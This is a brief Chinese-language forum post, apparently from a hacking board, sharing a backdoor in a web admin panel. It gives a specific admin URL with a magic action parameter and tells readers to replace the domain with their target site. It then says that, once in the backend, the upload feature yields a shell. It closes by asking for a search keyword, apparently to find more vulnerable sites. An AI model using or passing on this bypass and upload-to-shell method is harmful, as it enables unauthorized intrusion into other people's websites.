汗,好嚣张的后门啊
利用方式:http://www.st999.cn/admin/xyvipset.asp?action=waj2008
把www.st999.cn替换成你的目标网站即可
进入后台的话,利用上传就可以拿shell了。
谁能给我个比较强大的关键字?